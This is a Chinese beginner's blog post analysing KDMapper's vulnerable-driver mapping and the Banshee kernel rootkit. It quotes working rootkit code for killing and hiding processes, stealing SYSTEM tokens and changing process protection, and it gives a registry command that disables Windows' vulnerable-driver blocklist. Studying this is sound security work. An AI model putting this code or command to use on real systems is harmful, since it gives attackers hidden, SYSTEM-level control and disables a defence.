小白第一次发文,可能有些地方有错误,纰漏,请各位谅解😘
KDMapper
kdmapper是一个著名的开源驱动映射项目,他利用iqvw64e.sys的漏洞将任意驱动程序读取到内核空间,之后调用驱动程序的入口点函数来实现驱动开启.
要使用kdmapper,需要禁用安全检查
设置入口函数为自定义的入口函数
KDMapper通过直接映射方式加载驱动,缺少标准加载流程中的上下文环境,因此入口函数的两个标准参数不能直接使用.
示例代码:
#include <ntifs.h>
NTSTATUS CustomDriverEntry(
_In_ PDRIVER_OBJECT kdmapperParam1,
_In_ PUNICODE_STRING kdmapperParam2
)
{
UNREFERENCED_PARAMETER(kdmapperParam1);
UNREFERENCED_PARAMETER(kdmapperParam2);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, "Hello world!,This is called by KdMapper\r\n");
return 1;
}
该驱动在被加载的时候输出一句”Hello world!,This is called by KdMapper”
编译后使用kdmapper加载驱动,使用dbgview捕获到了驱动程序的输出,如图
Banshee
Banshee是一个依赖于KDMapper映射驱动的0环rootkit 实现了以下功能:
杀死,隐藏进程
ZwTerminateProcess
只需从内核区域调用,即可终止任何进程。通过摘链可以隐藏进程.
更改保护级别
这是一个内核对象,用于描述进程的属性。它还包含一个指定进程保护级别的值。我们可以直接修改该值(又称直接内核对象修改或 DKOM),因为我们是在 0 环中运行。
将任何进程令牌提升至 SYSTEM
EPROCESS
还持有一个指向当前访问令牌的指针,因此我们只需让它指向进程 4 的令牌( SYSTEM
),就可以将任何进程提升到 SYSTEM
。
枚举和清除内核回调
目前,只有进程和线程创建内核回调可以通过解析 PsSetCreateNotifyProcess/ThreadRoutine
例程到达私有 Psp*
例程,然后解析存储内核回调的数组地址来枚举。使用 erase
时,可以通过覆盖函数指针,使其指向 Banshee 中的空函数,从而删除回调。
保护驱动程序文件
通过挂钩 NTFS 文件系统的 IRP_MJ_CREATE
处理程序,我们可以阻止任何进程打开驱动程序文件的句柄.
内核键盘记录
使用未注明的 gafAsyncKeyState
函数,我们可以解析会话中的按键,除了读取内存
使用方法
使用kdmapper加载banshee
运行banshee,输入help可以查看功能
本文对其中的几个功能原理进行解析
以下代码都来自Banshee项目源码
杀死进程
BeCmd_KillProcess(HANDLE pid)
{
HANDLE hProcess = NULL;
PEPROCESS prc = BeGetEprocessByPid(HandleToULong(pid));
if (prc == NULL)
{
return STATUS_INVALID_PARAMETER;
}
ObDereferenceObject(prc);
CLIENT_ID ci;
ci.UniqueProcess = pid;
ci.UniqueThread = 0;
OBJECT_ATTRIBUTES obj;
obj.Length = sizeof(obj);
obj.Attributes = 0;
obj.ObjectName = 0;
obj.RootDirectory = 0;
obj.SecurityDescriptor = 0;
obj.SecurityQualityOfService = 0;
BeGlobals::pZwOpenProcess(&hProcess, 1, &obj, &ci);
NTSTATUS NtStatus = BeGlobals::pZwTerminateProcess(hProcess, 0);
BeGlobals::pZwClose(hProcess);
LOG_MSG("KillProcess %i \r\n", NtStatus);
return NtStatus;
}
- 使用内核API ZwTerminateProcess绕过用户态限制
- 安全地获取和释放内核对象
- 最小权限原则,hProcess使用最小访问权限
隐藏进程
BeCmd_HideProcess(HANDLE pid)
{
PEPROCESS targetProcess = BeGetEprocessByPid(HandleToULong(pid));
if (targetProcess == NULL)
{
return STATUS_INVALID_PARAMETER;
}
{
AutoLock<FastMutex> _lock(BeGlobals::processListLock);
PLIST_ENTRY processListEntry = (PLIST_ENTRY)((ULONG_PTR)targetProcess + BeGetProcessLinkedListOffset());
RemoveEntryList(processListEntry);
}
ObDereferenceObject(targetProcess);
return STATUS_SUCCESS;
}
使用wdm.h中的RemoveEntryList进行节点移除
BeCmd_ElevateProcessAcessToken(HANDLE pid)
{
PEPROCESS privilegedProcess, targetProcess;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
ULONG tokenOffset = BeGetAccessTokenOffset();
// Lookup target process
NtStatus = PsLookupProcessByProcessId(pid, &targetProcess);
if (NtStatus != 0)
{
LOG_MSG("PID %i not found\r\n", HandleToUlong(pid));
ObDereferenceObject(targetProcess);
return NtStatus;
}
// Lookup system process (handle for pid 4)
NtStatus = PsLookupProcessByProcessId((HANDLE)4, &privilegedProcess);
if (NtStatus != 0)
{
LOG_MSG("System process not found with pid 4\r\n");
ObDereferenceObject(privilegedProcess);
ObDereferenceObject(targetProcess);
return NtStatus;
}
//LOG_MSG("Token Target: %i", (ULONG)targetProcess + tokenOffset);
//LOG_MSG("Token System: %i", (ULONG)privilegedProcess + tokenOffset);
// Replace target process token with system token
*(ULONG64*)((ULONG64)targetProcess + tokenOffset) = *(ULONG64*)((ULONG64)privilegedProcess + tokenOffset);
ObDereferenceObject(privilegedProcess);
ObDereferenceObject(targetProcess);
return NtStatus;
}
原理是AtiveProcessLinks摘链 将前一个节点的Blink改为本节点的Blink,将后一个节点的Flink改为本节点的Flink.
如图:
进程提权
这段代码会将目标进程的权限提升至system,原理如下:
1. 获取目标进程EPROCESS
2. 获取系统进程EPROCESS(pid=4)
3. 定位令牌偏移,关键代码为:*(ULONG64*)((ULONG64)targetProcess + tokenOffset) = *(ULONG64*)((ULONG64)privilegedProcess + tokenOffset);
4. 直接内存替换
5. 释放进程引用
进程保护
BeCmd_ProtectProcess(ULONG pid, BYTE newProtectionLevel)
{
LOG_MSG("Changing pid %i protection to %i\r\n", pid, newProtectionLevel);
// Lookup process
PEPROCESS process = BeGetEprocessByPid(pid);
if (process == NULL)
{
return STATUS_INVALID_PARAMETER_1;
}
ULONG_PTR EProtectionLevel = (ULONG_PTR)process + BeGetEprocessProcessProtectionOffset();
LOG_MSG("Current protection level: %i\r\n", *((BYTE*)(EProtectionLevel)));
// assign new protection level
*((BYTE*)(EProtectionLevel)) = newProtectionLevel;
LOG_MSG("New protection level: %i\r\n", *((BYTE*)(EProtectionLevel)));
ObDereferenceObject(process);
return STATUS_SUCCESS;
}
BeCmd_ProtectProcess
接受两个参数,需要保护的进程pid,以及要修改的保护级别,然后修改该进程的保护级别.原理如下:
- 目标进程PID
- 查找EPROCESS结构
- 计算保护级别偏移
- 直接修改保护级别字节 关键代码:
*((BYTE*)(EProtectionLevel)) = newProtectionLevel;
- 生效新的进程保护级别
一些细节
建议启用内核调试。在管理提示符下运行以下命令,然后重启:bcdedit /debug on
使用KDMapper时需要注意 系统版本为Windows 10 1607 至 Windows 11 26100.1882
由于iqvw64e.sys被微软拉黑
解决办法也很简单就是关闭目标计算机的黑名单校验:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CI\Config" /f /t REG_DWORD /v VulnerableDriverBlocklistEnable /d 0
参考链接:
https://blog.csdn.net/zhuting__xf/article/details/132673437
https://github.com/eversinc33/Banshee?tab=readme-ov-file
https://github.com/TheCruZ/kdmapper
https://bbs.kanxue.com/thread-281558-1.htm
https://xz.aliyun.com/t/12965?time__1311=GqGxuD9QdYq052x%2BxCwxiwmY%3Dq3Y5KEox
请登录后查看评论内容